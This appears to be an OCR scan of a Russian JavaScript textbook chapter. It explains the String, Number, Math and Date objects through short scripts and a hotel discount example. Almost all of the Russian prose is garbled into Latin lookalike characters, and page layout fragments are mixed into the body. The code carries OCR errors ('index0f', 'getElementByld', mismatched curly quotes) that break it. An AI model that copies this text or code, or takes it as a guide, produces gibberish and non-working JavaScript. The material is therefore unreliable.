3. Janee npuBedeH npumep,
B KOTOPOM MpeACTaB/eHb!
HECKO/IbKO MeTOZ0B 06bekTa
String.

@ var msg = '<h2>pgnuHa</h2><p>' + saying.length + '</p>";

3a UMeHeM nepemMeHHom
(saying) cneayeT Toyka, a 3a-
TeM AEMOHCTpUpPYEMOE CBOM-
CTBO MeToAa. VIMEHHO Tak Mbl
MCMO/Ib30BaIY TOYEYHYIO HO-
Taumio C Apyrumu o6bekTamm
13 3TOW rNaBbl, KOr4a XoTenu
0603HaYNTb X CBONCTBO MK
METOoga.

c03/js/string-object.js

msg +='<h2>nponucxblie</h2><p>' + saying.toUpperCase() + '</p>";

msg +='<h2>cTpouHble</h2><p>' + saying.toLowerCase() + '</p>';

msg +='<h2>cumBon ¢ uxpekcom: 11</h2><p>' + saying.charAt(11) +'</p>";

@- msg +='<h2>nepsoe BxoxpaeHue "mu"</h2><p>' + saying.index0f('mu') + '</p>";

msg +='<h2>nocnegHee BxoxzeHue "m"</h2><p>' + saying.lastIndex0f('m') + '</p>';
msg +='<h2>cumBonbl ¢ MHZekcamu: 6-12</h2><p>' + saying.substring(6, 12) +'</p>";
msg +='<h2>3ameHa cumonos</h2><p>' + saying.replace('m', 'r') + '</p>";

@_' var el = document.getElementByld(‘info');
| el.innerHTML = msg;

4. B nocnefHunx ABYX CTPOKax
KOZa Mbl BblAENAEM 3NEMEHT

PE3YJIbTAT
c naeHTUdUKaTopom info,

@ n ) e a noTom f06aBnseT 3HaYeHne
‘ nepemMeHHO msg BHYTPU AaH-

3 nponucrbie
OcTypusm HOro afleMeHTa

cnmson ¢ He 3abbiBainTe 0 BO3MOXHbIX

whpekcom: 11

npobaemax npv NCMNosb30Ba-
HWUWN cBOWCTBA innerHTML, KOTO-
pble 06cyxxgatoTca Ha c. 234.

@ OYHKLUWUN, METOObI, OBBEKTDbI



BKPATUE: TUTIbl OAHHbBIX

B a3bike JavaScript HacuMTbIBaeTCS LWWECTb TUMOB AAHHbIX.

MAaTh U3 HUX CYMTAOTCA NPOCTbIMN (MPUMUTUBHBIMMW).

LLlecTon TN AaHHbIX — 3TO 06bEKT (ero Ha3bIBaKOT CNOXK-

HbIM TUMOM).

MPOCTbLIE, TN MPUMUNTUBHBLIE,
TUMNbl AAHHBIX

B s3bike JavaScript ecTb naTb npocTsix (Mpyumu-
TUBHbIX) TUMOB aHHbIX:

1. cTpoky;

2.4ucna;

3. 10rnMyeckme 3HaYeHus;
4

.HeonpegesieHHOE 3HA4YeHUe — yxe 06bABMEH-
Has nepemMeHHas, KOTOpOl;I NnokKa He NpnCcBOEHO
3HavyeHue;

5. null (nepemeHHasn 6e3 3HayeHMa) — He UCKIO-
YeHOo, YTO paHee y Hee HblJ10 3HaUYEeHUE, HO Cel-
4ac OHO OTCYTCTBYET.

Kak Bbl yxxe ybeannuce, v bpaysep, U TekyLmi
[OKYMEHT MOXHO CMOAENMPOBATb NP MOMOLLM
06BEKTOB, UMEIOLLMX METOAbI M CBOMNCTBA.

BeposATHO, BaM NOKaXeTCcs HECKOIbKO HEOX M-
AaHHbIM, YTO U NpOCTOE 3HaYyeHne (Hanpumep,
CTPOKa UM YNCI0) MOXKET MMETb METOAbI

1N CBOMCTBA. Ha BHYTPMCUCTEMHOM YPOBHE 3bIK
JavaScript pacueHnBaeT KaXAyo NepemMeHHyo
KaK NO/IHOLEHHbI 06BbeKT.

CTpoKa: ec/iv nepeMeHHas uam CBONCTBO 06b-
eKTa CoAep>XUT CTPOKY, TO MOXHO MCMOIb30BaTb
CBOWCTBA U MeToAbl 06bekTa String.

Yncno: ecnm nepeMeHHas Mam CBoMcTBo obbekTa
COAEPXUT YNCII0, TO MOXHO UCMO/Ib30BaTb CBON-
cTBa U MeToAbl 06bekTa Number (CM. cnegytoLyto
cTpaHuuy).

Jlornyeckoe 3HauyeHMe: CyLecTByeT 06bekT
Boolean, HO OH MCMO/b3yeTCs peaKo.

Heonpeaenennble (Undefined) n Hynesbie (null)
3HaYeHUs He COOTHOCATCS C KaKnmu-1nbo
obbekTamu.

CTOXKHbIV TUM OAHHbBIX

B a3bike JavaScript Takxe onpegensaetcsa
CJIOXHbBIN TUMN AaHHbIX:

6.06beKT.

Ha BHYTpUCUCTEMHOM ypPOBHE Maccu-
Bbl U GYHKL MM TaKXKe CYMTAOTCA TUMamMu
06beKkTOB.

MACCUBbI — 3TO OBBbEKTbDI

Kak 6b1710 onmcaHo Ha c. 124, maccuB npea-
cTaBngeT cobor Habop Nap «KaY/3HavyeHne»
(kak 1 Nobo Apyron 06BHEKT), HO B HEM He
yKasblBaeTCca UMs A1 Napbl «K/1t04/3Have-
HMe» — B KayeCTBe UMEHW NCNob3yeTcs
VIHAEKCHbIA HOMED.

MaccuBbl, Kak 1 Apyrve 06bekTbl, UMEIOT
CBOMCTBa U MeToAbl. Ha c. 78 Bbl y3Hanu, 4to
y MaccuBa ecTb CBOMCTBO length, cogep>xallee
KO/IMYECTBO 3/1eMEHTOB B Maccuee. Kpome
TOro, CyLlecTBYeT psif METOA0B, KOTOpble
MOXHO MCMOb30BaThb C 1106bIM MAacCMBOM
Ana 4obaBneHNs B HErO HOBbIX 3/IEMEHTOB,
yAaneHus nx v nepeynopsigounsanus. Co sce-
MW TaKUMU MeTOA4aMM Mbl MO3HAaKOMUMCS

B rnase 12.

DOYHKUNN — 3TO OBBEKTDI

TexHuueckn GyHKLMU TakxKe ABNATCA 06b-
ekTamu. Ho y HMX ecTb 0cobas YepTa: Ux
MOXHO Bbi3biBaTb. CKazaHHOE 03HauYaeT, uTo
NporpamMMmICT coobLLaeT HTepnpeTaTopy,
4TO HEOBXOAMMO BbIMOIHUTL MHCTPYKLUK, CO-
fepXalymecs B Bbi3biBaEMON GYHKLUN.

OYHKLUWNN, METOObI, OBBbEKTbI @



[ JIOBAJIbHbBIE OB bEKTDI:
NUMBER

Mpwn paboTe C YNCNOBbIMUY 3HAYEHNAMM K HUM MOXXHO MPUMEHSATb
MeToZAbl U CBOMCTBA 0bbekTa Number.

3TU MeToAbl NOJe3HbI B pas- Mpu MHOrUX pacyeTax, Mpu paboTe c aHUMaLmewt,

HOOGpasHbIX MPUKAALHBIX CBsi3aHHbIX ¢ BantoTom (Ha- BO3MOXHO, NoTpebyeTcs

cuTyaumax — ot buHaHco- npumep, Npu BbIYUCIEHNMN yKasaTb, YTO HEKOTOpble

BbIX pac4yeToOB A0 aHUMaLun. Ha/loroBbIX CTABOK), pe3y/ib- 3/1eMEeHTbI J0/IXKHbI ObITb
TaT TpebyeTcs OKPYrAsaTh paBHOMEpPHO pacnpejesne-
[10 KOHKPETHOr o Yncnaa uim Hbl MO CTpaHuLe.

A0 onpeAesieHHOro Kosnye-
CTBa A€CATUYHDbIX 3HAaKOB.

METO[ OMUCAHUE

isNaN() MpoBepseT, ABNSETCA IV 3HAYEHNE YNCIOM

toFixed() OKpyrnseT pe3ynbTaT 40 KOHKPETHOro YMCAa AN yKa3aHHOro
orixe KONMYecTBa AeCATUYHbIX 3HakoB (BO3BpaLlaeT CTpoKy)

OkpyrnseT pe3ynbTaTt 40 3a4aHHOIO KOJIMYeCTBa OTO6pa>KaeMbIX

toPrecision() pa3spsagos (Bo3BpallaeT CTPOKY)

Bo3BpallaeT CTPOKY, COOTBETCTBYIOLLYIO YAC/TY B SKCMOHEHLNa b~

tOEXpOnentlal() HOM NpeAcCTaB/lEHUN

YACTO MCMNOJIb3YEMbIE TEPMNHbI

e Llenoeuyncno — 3to uncno, rae HetT ApobHom yacTu.
e [elACTBUTE/IbHOE YNCJIO — 3TO YNC0, KOTOPOE MOXET CoZlepXaTb ApOobHYI YacTb.

e Yucno c nnasaroLient TOYKON — 3TO AENCTBUTENbHOE YNCO, FAe ANA
npefcTaB/eHns ApOOHOM YacTW NCMOb3YIOTCA AeCATUYHbIE 3HakU. TEpMUH
«r/aaBaroLas Toukay («naasBarolyas 3anaTasay) o3HavaeT Touky (3anaTyto),
OTAENISIOLLYIO eyt YacTb YMcaia oT ApO6HON.

e DKCMoOHeHUMasbHad 3anUcb — CNocob nNpeAcTaBieHns oueHb 60bLINX NN
0YeHb MasiblX Ynces, N03BONAOLLNN C y10HCTBOM 3aMNCLIBATH UX B AECATUYHOMN
dopme. Hanpumep, umcnio 3 750 000 000 moxeT bbITb 3anncaHo kak 3,75 x 10° nunm
3,75e+12.

@ OYHKLUWNN, METOObI, OBBEKTbI



PABOTA C UMCJTIAMU

Kak 1 npu pabote c 06beKTOM
String, TPUMEHUMBIM K /10BbIM
CTpOKaM, CBOMCTBA N MeTOAbI
06BbEKTa MOXHO UCMOJIb30-
BaTb C /10ObIMU YNCIOBbIMU
3HaYeHUSIMU.

JAVASCRIPT

@var originalNumber = 10.23456;

1. B faHHOM Npumepe Yyncno
CcoxpaHaeTCcsi B NeEpEMEHHON
originalNumber, a 3aTem okpy-
rnseTcs B 60/bLIYIO UV MEHb-
LLYI0 CTOPOHY MPY MOMOLLN
ABYX pasHblX NPUEMOB.

var msg = '<h2>ucxogHoe yncno</h2><p>' + originalNumber + '</p>';

@msg +='<h2>3 pecar. paspaga</h2><p>' + originalNumber.toFixed(3) + '</p>";
@msg +="'<h2>3 undpsi</h2><p>" + originalNumber.toPrecision(3) + '</p>";

var el = document.getElementById('info');

el.innerHTML = msg;

PE3YJIbTAT

~ ‘
i
[

NCXoaHOEe Yncno
10.23456

0

3 fecAT. pa3paga
10.235

3 undpsl

10.2

B 0o6oux cnyyasx Heobxo-
AWMO yKa3blBaTb, 40 Kakoro
KosMyecTBa pas3psiAoB Bbl
XOTUTE BbIMOHUTb OKpYyrie-
Hue. KonnyecTBo pa3pagoB
yKasblBaeTcs B CKObKax 1 co-
obuiaeTca MeToAy B KayecTBe
napameTpa.

c03/js/number-object.js

2. MeTtog originalNumber.toFixed(3)
OKPYF/INT YNCO, XpaHUMOe

B NepemeHHoM originalNumber,
£10 TpeX AeCATUYHbIX Pa3psiAoB.
KonnyecTBo pa3psaos ykasa-
HO B cKobkax. MeToz BepHeT
ymcno kak ctpoky. OH BO3Bpa-
LLIaeT MMEHHO CTPOKY, MOCKO/Ib-
Ky Apobu He Bceraa yaaercs
KOPPEKTHO NpeACcTaBUTb Npu
NOMOLLIM YMCEN C N1aBatoLLEeN
TOYKOW.

3. MeTog toPrecision(3) nc-
Nno/sib3yeT YNC/O B CKOBKax Ans
onpeaeneHns obLLero Koamye-
CTBa 3HAKOB, KOTOPOE AO/I)KHO
6bITb y Uncna. OH Tak>e BO3-
BpaLLaeT YNCO KakK CTPOKY.
JaHHbIN MeTo4 MOXeT BO3Bpa-
LLIATb YMC/IO B SKCMOHEHL A b-
HOWM HOTaLMK, EC/IN KOJINYECTBO
undp B Hem HosbLLE, YEM
yKaz3aHo B CKObKax.

OYHKLUWNN, METOObI, OBBEKTbI



[JIOBAJIbHbIE OB bEKTDI:

MATH

Ob6bekT Math cogep>XnT cBOMCTBA U MeToAbl AN paboThl
C MaTEMATUYECKUMMN KOHCTAaHTaMU U GYHKLNAMM.

CBONCTBO OMNCAHUE
Math.PI BosepawaeT uncio n (MpumepHo pasHoe 3,14159265359)
METO[ OMUCAHUE

Math.round()

OKpyrnseT Yncao Ao 6anxanwero Leaoro

Math.sqrt(n)

Bo3BpaLu,aeT KBaﬂ,paTHbIVI KOpPEeHb N3 NONNOXKNTENTIbHOIO YnCna.

Hanpumep, Math.sqrt(9) Bo3BpaiiaeT 3

Math.ceil()

OKpyrnsieT Yncao BBEpX 40 HAMXKANLLErO LLe1oro

Math.floor()

OprI’}'IFleT YNCNO BHM3 A0 6anxanwero uesnoro

Math.random()

[Mockonbky Math sBnseTcs oa-
HUM U3 r/106a/1bHbIX 06BEKTOB,
MOXHO MCMOMb30BaTh MPOCTO
nMAa Math, ykasbiBasa 3a HUM
CBOWCTBO UM METOJA, K KOTO-
pOMY Bbl XOTUTe 06paTUTHCS.

leHepupyeT c/iyyaHoe YnC/Io B AnanasoHe oT 0 (BKJIOYMNTEIbHO)

0o 1 (He BkoYan)

Kak npaBuno, pesynbtupyto-
Llee YNCI0 B TakmX Cyyaax
CoxpaHsaeTcs B nepeMeHHOMN.
ITOT 06BEKT TakKe COAEpPXKUT
pasHoobpasHble TPUrOHOMET-
puyeckune byHKLMK, Hanpu-
mep, sin(), cos() 1 tan().

@ OYHKLUWNN, METOObI, OBBEKTbI

TpuroHomeTpuyeckne pyHk-
LK1 BO3BPALLAIOT Yr/10Bble
3HauYeHMsa B paZgnaHax, KoTo-
pble MOXHO NpeobpasoBbIBaTh
B rpaZychl, pasfesivB Ynco Ha
(n/180).



NCIOJIbSOBAHME OBBbEKTA
MATH 014 TEHEPUPOBAHUNA

STOT NpMMep creymanbHo
paspaboTaH A48 TOro, YTobbI
NpoAEMOHCTPUPOBATH, Kak re-
HepupyeTcs cyyanHoe Lenoe
yncno B AnanasoHe ot 1 40 10.

MeToa random() o6bekTa Math
reHepupyeT cyyanHoe ymc-
5o B ananasone ot 0 go 1 (c
60/1bLLIMM KONIMYECTBOM AECH-
TUYHbIX 3HAKOB).

JAVASCRIPT

YT106bI MONYYNTb CAYyHaNHOE
Llenoe Yncno B AmanasoHe ot 1
£0 10, HY>KHO YMHOXMWTb Ha 10
C/lyYalHO€ YMC0, CreEHEPUPO-
BaHHoe meToZ0oM random().

Y 3TOro Yncsa Bce paBHO
6yAeT MHOIO AeCATUYHBIX
3HaKOB, MOTOMY €r0 MOXHO
OKPYF/IUTb 0 6GAnXKaNLLIero
Lenoro yncna.

var randomNum = Math.floor((Math.random() * 10) + 1);

var el = document.getElementById('info');

CNTYYAUHbBIX YNCE T

MeTog floor() npumeHsieTcs
UMEHHO ANS TOro, YTobbl OKpy-
rASiTb YMcio BHM3 (@ He BBEPX
WU BHU3).

Takum ob6pasom Bbl MOyyYnTe
3HayeHWe B AnanasoHe oT O
40 9. 3aTem Bbl NpubasnseTe
K HeMy 1, 4TOObI MONYYUTD
yncno ot 140 10.

c03/js/math-object.js

el.innerHTML = '<h2>cnyuyaitHoe yncno</h2><p>' + randomNum + '</p>';

PE3YJIbTAT

cnyyvyanHoe 4yncno
7

Ecan 661 Mbl npUMeHUAN
meTog round(), a He floor(), To
ymncnalwn 10 reHepupoBanncChb
6bl NPUMEPHO BABOE peXe,
yem ymcna ot 2 40 9 BKAOUYN-
Te/bHO.

Bce yncna ot 1,5 840 1,999 okpy-
rnannce 6ol 40 2, a BCe Yncna
oT 9 40 9,5 okpyrnaamch bbl

[0 9.

PaboTas c meTogom floor(), Bbl
fob6nBaeTech TOro, YTO YMNC/IO
BCerga okpyrnsaetcs 4o 6am-
Xanwero yenoro. [ocne aToro
K pe3ynbTaTy MOXHO npuba-
BUTb 1, YTOObI rapaHTUPOBaH-
HO NoNy4YnTb Yymncno ot 140 10.

OYHKLUWNN, METOObI, OBBEKTbI



CO3O0AHNE SK3EMIJTAPA
OB bEKTA DATE

Ana paboTbl C AaTamMum co3aeTcsa ak3emnaap obbekTa Date.
3aTeM MOXHO yKasaTb BpeMS 1 AaTy, KOTOPbIE Bbl XOTUTE

B HUX NpeaACTaBUTb.

Ansa cosgaHusa obbekTa Date UCNoib3yeTcs ero
KOHCTpYKTOPp Date(). CUHTaKCUC 34eCb Takom Xe,
Kak U npu cosgaHnm noboro o6bekTa C UCNosib-
30BaHnEM bYyHKUUN-KOHCTPpYKTOpa (cMm. . 114).
MpV NOMOLLM KOHCTPYKTOPa MOXHO CO34aThb
6onee ogHoro ob6bekTa Date.

uMa
NEPEMEHHOW

Mo ymonvaHuio npu cosgaHum obbekTa Date

OH COAEPXUT CEroAHALLHION AATy U TeKyLlee
BpeMsi. EC/1M Bbl XOTUTE COXPaHUTb B 3TOM
06bEKTE APYryio AaTy Y BpEMS, TO J0/IXKHbI SBHO
yKasaTb UX.

KNIIOYEBOE
CNOBO NEW
]

var today
I_|_I

OBbSABJIEHUE
NEPEMEHHOU

BblLenpuBeeHHbI NPUMEP MOXHO CPaBHUTb
c co3faHnemM nepemMeHHoM today, B KOTOpOM
coAepXunTcs yncao. [1eno B TOM, YTO B i3blKe
JavaScript gaTbl coxpaHAKTCA B YAC/IOBOM
dopmaTe, a UMEHHO — KaK KO/IMYECTBO CEKYHA,
ncTekwmnx c nonyHoum 1 aHBapsa 1970 roaa.

ObpaTuTe BHUMaHUe: TeKyLlas gaTta u BpemMs
onpeAensaTCa No Yacam KomnbtoTepa. Ecan
no/ab30oBaTe /b HAXOAUTCS B UHOM YacCOBOM
nosice, He>XXeJin Bbl, TO €ro A€Hb MOXXET HauYun-
HaTbCH paHblLe UK No3xe, yem Baw. Kpome
TOro, eC/iu BHyTpeHHMe 4Yacbl Ha ero KOMnbro-
Tepe nokasblBaloT HEBEPHYIO AATy U BpEMS, TO
Takas owmnboyHas MHpopmaLma MOXeT NonacTb
B 06beKT Date.

@ ®YHKUWNN, METOObI, OB bEKTbI

OMNEPALMSA
NMPUCBAUBAHUA

= new Date();

I_|_I

KOHCTPYKTOP
OBBEKTA DATE

KoHcTpykTop Date() 419 cO3AaHNs 06beKTOB-AaT
coobuiaeT nHTepnpertaTopy JavaScript, uto nepe-
MEHHas COAEPXUT AaTy. DTO, B CBOIO oYepeab,
03HaYaeT, YTO Bbl MOXETE UCMO/b30BaTb METOAbI
ob6bekTa Date 4715 yCTaHOBKW U U3BNEYEHUS U3
Hero uHbopmaLmm o gate u BpeMeHu (cnucok
METOA0B NMPUBEAEH Ha CeAyloLLel CTpaHuLe).

JlaTy n/unv BpemMs MOXHO yCTaHaBAWBaTh

B nto6om u3 cnegytownx dopmaTos (Mam npu no-
MOLLM METOA0B, PACCMOTPEHHbIX Ha CAeAyioLL e
cTpaHuue):

var dob = new Date(1996, 11, 26, 15, 45, 55);
var dob = new Date('Dec 26, 1996 15:45:55');
var dob = new Date(1996, 11, 26);



[ JTOBAJIbHBbIE OBBEKTDbI:

DATE

Co3zaB 06bekT Date, Bbl MOXETE BOCMNO/1Ib30BaTbCH C/ie-

AYOLWWMM MeTogaMuM AN YyCTaHOBKM U M3BIeYEHNS CO-
Jepxallencs B HeM nHdopmaumm o JaTe U BpeMEHM.

METOA ONMNCAHUE

getDate() setDate() BosBpalyaet/ycTaHaBnmBaeT geHb mecsiya (1-31)
getDay() BozBpalyaeT geHb Hegenun (0-6)

getFullYear() setFullYear() BosBpalyaeT/ycTaHasnusaeT rog (4 undpsbl)
getHours() setHours() BosBpalyaeTt/ycTaHasnmnsaeT yac (0-23)

getMilliseconds()  setMilliseconds()

Bosspalyjaet/ycTaHaBaneaet muanmcekyHabl (0-999)

getMinutes() setMinutes()

BosBpawjaeTt/ycTaHasanmeaetT MUHyTbl (0-59)

getMonth() setMonth() Bosspawjaet/ycTaHasnmneaet mecsy (0-11)
getSeconds() setSeconds() BosBpalyaeT/ycTaHaBauBaeT cekyHabl (0-59)

KonunuecTtBo cekyHa, nctekwmnx ¢ 00:00:00 1 aHBaps 1970 roga
getTime() setTime() no BceMnpHoMy KoopanHUpoBaHHoMy BpemeHun (UTC).

Ans nobon 6onee paHHen AaTbl BO3BPaALLAeTCa OTpULATeIbHOE
3HaYyeHWe BpeMeHH

getTimezoneOffset()

Bo3BpalyaeT cMeLleHWe YacoOBOro Nosca B MUHYTax 418 AaHHO-
ro permoHa

toDateString()

BosBpalyaeT y4o6HY0 419 BOCMPUATUS YEOBEKOM CTPOKY date

toTimeString()

BosBpalyaeT y406HY0 419 BOCMPUSATUS YETOBEKOM CTPOKY time

toString()

MeTogn toDateString() oTo-
6pasunT faTy B ciefytoLlem
dopmaTe: Wed Apr 16 1975.
Ec/an Bbl XOTWTe BbIBECTU
AaTy B MHOM dopmaTe, To
MOXeTe Co34aTb Xenaembli
dopmaT camu, BOCMo/b30-
BaBLUWCb BbILLEONNCAHHBIMM
MeToAaMU ANS KOHCTPYU-
poBaHWA OTAE/bHbIX YacTeMn
Takoro ¢opmarta: AHs, AaThl,
mecsaua, roaa.

MeTog toTimeString() oTobpa-
XaeT Bpemsi. B HekoTopbIx
A3bIKaX MpOrpaMMmpoBaHns
flaTbl yKasblBalTCS Kak

BosBpalyaeT cTpoKy, NpeACTaBAAOLLYI0 YKa3aHHY0 AaTy

KO/IMYECTBO MUTNUCEKYHA,
NCTEKLUNX C NOJIYHOUMN
1ceHTabps 1970 roga. 10T
deHOMeH HasbIBalOT Bpeme-
Hem Unix.

MecTononoxeHne noceTu-
TeNsa MOXeT BIMATb Ha Yaco-
BOW MOSIC M HAa TO, Ha Kakom
A3blKe Mbl 4O/IXKHbI MpeacTa-
BUTb eMy MHPopmauuto. Ans
0603HaYeHna Takoro reo-
rpadnyeckoro v KyabTypHO-
A3bIKOBOIO KOHTEKCTa Npo-
rpamMMUCTbl UCNONb3YIOT
TEePMUH J10Ka/lb.

B 06bekTe Date He XpaHATCS
HasBaHWAa AHeN 1 mecaues,
TaK Kak B pasHbIX A3blKax
OHW OT/IMYatoTCA.

3Ta uHdopmauns obosHa-
YaeTCcs NpU NOMOLLM Yncen.
Tak, AHW 0603HavatTCH
yncnammn ot 0 4o 6, a mecsi-
ubl — o1 0 go 11.

Ana oTobpaxeHus n xpaHe-
HWS HA3BaHWN AHEN U Me-
CSALEB CO34aeTCA MacCcuB
(cm. . 149).

OYHKLUWNN, METOObI, OBBbEKTbI



CO3LAHNE OBbEKTA DATE

1. B cnegytouem npumepe Ecnn He yka3aTb gaTy v BpemMs Co34aB ak3emnaap obbekTa
HOBbIN 06beKT Date co3faeTcs npw cosgaHumn obbekTa Date, Date (B KOTOPOM coZepxaTtcs
Npy1 NOMOLLIM COOTBETCTBYIO- TO B Hero 6yayT 3anucaHsl aKTyasibHble 3HaYeHNs AaTbl
Lero KOHCTpykTopa Date(). 3HayYyeHuMsa, COOTBETCTBYOLME N BPEMEHM), MOXHO MO/b30-
DTOT 06BbEKT ByAeT HasbIBaTb- MOMEHTY, B KOTOPbIN UHTEP- BaTbCHA Nt06bIMMN €70 CBOM-
cA today. npetaTtop JavaScript gonget CTBaMM UV METOAaMM.

10 3TON CTPOKM KoAa.

JAVASCRIPT c03/js/date-object.js
@ var today = new Date();
var year = today.getFullYear();

var el = document.getElementById('footer');
el.innerHTML = '<p>Co6cTBeHHOCTb &copy;' + year + '</p>';

2. B npumepe metoj
getFullYear() ncnonbsyetca ans
- — ~ — BO3BpalleHNsa roga Ton fathl,
] / / KoTopas coxpaHeHa B 06bekTe
Date.

PE3Y/IbTAT

3. B gaHHOM Calyyae 3TO HY>XXHO
ANS 3aNUCK TekyLlero roga

B CTPOKY CO CBeZeHUsAMU 06
aBTOPCKUX NpaBax.

CobcTBeHHOCTD ©2015

@ OYHKLUUNN, METOObI, OBBEKTbI



PABOTA CO 3HAYEHNAMU
HOATbl 1 BPEMEHV

Jna ykasaHvs AaTbl 1 Bpe-
MEHMN MOXHO UCMOb30BaTh
cneayowmmn dopmart:

YYYY, MM, DD, HH, MM, SS
1996, 04, 16, 15, 45, 55

3aecb ykasaHo: 15:45:55, 16
anpens 1996 roaa.

JAVASCRIPT

var today = new Date();
var year = today.getFullYear();

[MopsAOK N CUHTAKCUC TaKOB:
Foa yetbipe undpsl

Mecs, 0-11 (aHBapb — 0)
AeHb 1-31

Yac 0-23

MuHyYTBI 0-59

CeKkyHAbI 0-59
MunnuncekyHAabl 0-999

var est = new Date("Apr 16, 1996 15:45:55');

Q)

var difference = today.getTime() - est.getTime();
difference = (difference / 31556900000);

var elMsg = document.getElementById('message');

BoT eLe ogmH cnocob 3anucu
AaTbl M BDEMEHU:

MMM DD, YYYY HH:MM:SS
Apr 16,1996 15: 45: 55

Ecan nHdopmauns o To4HOM

BPEMEHU BaM He HYXHa, To ee
MO>HO OMyCTUTb.

c03/js/date-object-difference.js

elMsg.textContent = Math.floor(difference) + ' net mbl npefocTaBnsem Bam ycnyru aBuanepenetos';

PE3YJIbTAT

Poctypunim

18 net mbl
npepocTaBnAem BamM

ycnyru aBnanepeneTos

1. Kak BuauTE, 34€Chb ycTa-
HOBJIEHA AaTa, oTHoCALasACs
K npoLuiomy.

2. Ecnv Bbl XOTUTE HaMTW pas-
HOCTb ABYX AaT, TO NoayyunTe
pesynbTaT B MUIIUCEKYHAAX.

3. YT0bbl MONYUYUTH TaKyto pas-
HOCTb, BbIPa>XEHHYIO B AHSIX,
HeAensx uav rogax, To aTo
YMCA0 HYXKHO pasAeiuTb Ha
KOJINYECTBO MUMUCEKYHA,
coaepxalinxcs B AHe, Hejene
WAW FOAY COOTBETCTBEHHO.

34eCb Mbl UMEEM YNCNO, NONY-
YeHHOe B pe3y/ibTaTe ge/leHns
Ha 31556 900 000 — cTONbKO
MWANNCEKYHA COAEPXUTCS

B HEBMCOKOCHOM rojy.

OYHKLUWNN, METOObI, OBBEKTbI



creyvansHoe
npeAnoxeHve

OTENb "MASHK"
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[MPUMEP

OYHKUMWN, METOHbI,
OBbEKTbI

JaHHbIN NpuMep pa3buT Ha ABe YacTMu.
B nepBol npeacTaBaeHa nogpobHas
nHdopmaumsa ob otene, LLeHe 3a HOMeEp
N LeHe B paMKax crneumanbHoro npea-
JIOXXeHWs. Bo BTOpon ykasaHo, Koraa
NCTeKaeT creunasbHoe NpeaoxeHue.

Becb koA pacnonoxeH B GyHKUUN-BbIPAKEHUN, BbI3bIBAEMON Cpasy
nocne cosganus (IIFE), 4To6bl NCKIOYNTb BO3SMOXHbIE KOHDANKTbI
MeXAY MUMEHAMM NEPEMEHHbIX, UCMONb3YEMbIX B 4aHHOM CLLEHapUm
M B APYruX.

B nepBon yacTu cueHapus cosgaetca o6bekT hotel. Y Hero Tpu
cBoicTBa (HasBaHWe oTeNs, LieHa 3a HOMEpP M MPOLEHTHOE 3Hayve-
HWe NpeanaraeMomn CKMAKKN), @ TakKe MeToZ, BbIYUCASIOLWMIA LEeHY
C y4YeTOM CMeLmnasibHOro NpeaoXeHUs. OTa LieHa 1 6yaeT BblBO-
ANTbCSA NOb30BaTeo.

MoApobHOCTU NpefOCTaBAEHNS CKUAKUN NPeACTaBAEHbl Ha CTpa-
HWLle Ha OCHOBaHUN UHPOPMaLUK, B3ATON N3 3TOro obbekTa hotel.
YT106bI LIeHa No ckuake bbina nokasaHa ¢ ABYMs AeCATUYHBIMA
3Hakamu (06bIYHO LieHa 3annCcbiBaeTCsl UMEHHO Tak), NPUMeHsieTCs
meToz .toFixed() o6bekTa Number.

Bo BTOpoOW YacTu cLieHapusi ykasaHo, YTo crneynanbHoe npeasno-
XeHue ncTtekaet yepes ceMb gHeln. ITO AenaeTcs NPy MOMOLLM
dyHKLWK offerExpires(). laTa, yCTaHOBNEHHas B TEKYLLUNA MOMEHT Ha
NnoJsIb30BaTe/IbCKOM KOMMblOTEPE, COOOLLLaeTCs B Ka4ecTBe apry-
MeHTa byHKLMK offerExpires(), 4TOObI GYHKLMA MOTNa paccunTaTh
CPOK OKOHYaHWUS CNeunanbHOro NpeaaoXeHus.

BHYTpu dyHKUMM cO3aeTCa HOBbIN 06BbeKT Date, NOC/1e YErO K TEKY-
wen gate gobasndetca cemb aAHen. O6bekT Date NpeacTaBAfeT AHN
1 MecsiLbl Kak YncaoBble 3Ha4YeHUst (HaunHas ¢ 0).Taknum obpaszom,
Ang oTobpaxkeHns HasBaHUM AHA U MecaLa Mbl CO34aeM JBa Mac-
CUBa, B KOTOPbIX OYyAYT XpaHUTbCA BCE BO3SMOXHble Ha3BaHUA gHeN
n mecaues. Korga cooblyieHune 3anncbiBaeTcs, KoA n3saekaeT U3
3TUX MAaCCMBOB HY>Hble Ha3BaHWUS AHSA U MecsaUa.

CoobluieHune, B KOTOpOoM ByAeT BbIBOAUTLCS AaTa UCTEYEHUS Npea-
JIOXKEHUs, COCTaB/IAETCA B MepeMeHHOM expiryMsg. Kog, Bbi3biBato-
W dyHkumio offerExpires() n oTobpaxatroLmnin coobLyeHmne, Haxo-
ANTCA B KOHLEe clueHapusa. OH BblAENAET TOT 3/IEMEHT, rAe A0JIKHO
nosiBUTHCA coobLyeHre,  OBHOBIAET €ro KOHTEHT MPY MOMOLLM
cBoicTsa innerHTML, 0 KOTOPOM Mbl NOAPOBHO NOrOBOPUM B rNase 5.

OYHKLUWNN, METOObI, OBBbEKTbI
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c03/js/example.js JAVASCRIPT

/* [laHHblit cLieHapuit HaxoZuTCs BHYTPU YHKLMU-BbIDXKEHUA, BbI3bIBAEMOI CPa3y nocne co3faHus. ITo fenaetcs Ans 3alutsl
06nacTit BUAUMOCTU NepemenHbIx */

(function() {

// YACTb MEPBAA: CO3JAEM OBBEKT HOTEL 11 3AMMCHIBAEM JETANN NPEANOXEHNSA
// Co3paem o6bekt hotel npu nomowy cuHTakcuca 06beKTHOrO MMTepana
var hotel = {
name: 'Otens "Mnsx",
roomRate: 240, // Cymma B pybnsix
discount: 15, // MpoueHTHOE 3HaYeHe CKUaKN
offerPrice: function() {
var offerRate = this.roomRate * ((100 - this.discount) / 100);
return offerRate;
}
}

// 3anucsiBaem Ha3aHue oTens, CTaHAAPTHYIO CTaBKY U CMIEUMANbHYIO CTaBKY
var hotelName, roomRate, specialRate; // 06baBAsEM nepemeHHble

hotelName = document.getElementById(‘hotelName');  // Monyyaem anemenTsl
roomRate = document.getElementById(‘roomRate');
specialRate = document.getElementBylId('specialRate');

hotelName.textContent = hotel.name; // 3anucbiBaem Ha3Bakue oTens
roomRate.textContent = hotel.roomRate.toFixed(2) + 'R'; // 3anucbiBaem cTaBky 3a Homep
specialRate.textContent = hotel.offerPrice() + 'R'; // 3anucebiBaem LeHy no akumu

B KOMMeEHTapuax K Koay noZipobHO onmncaHo, kak paboTaeT 3TOT NpuUmep.

@ DYHKUNNU, METOObI, OB BEKTbI
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JAVASCRIPT c03/js/example.js

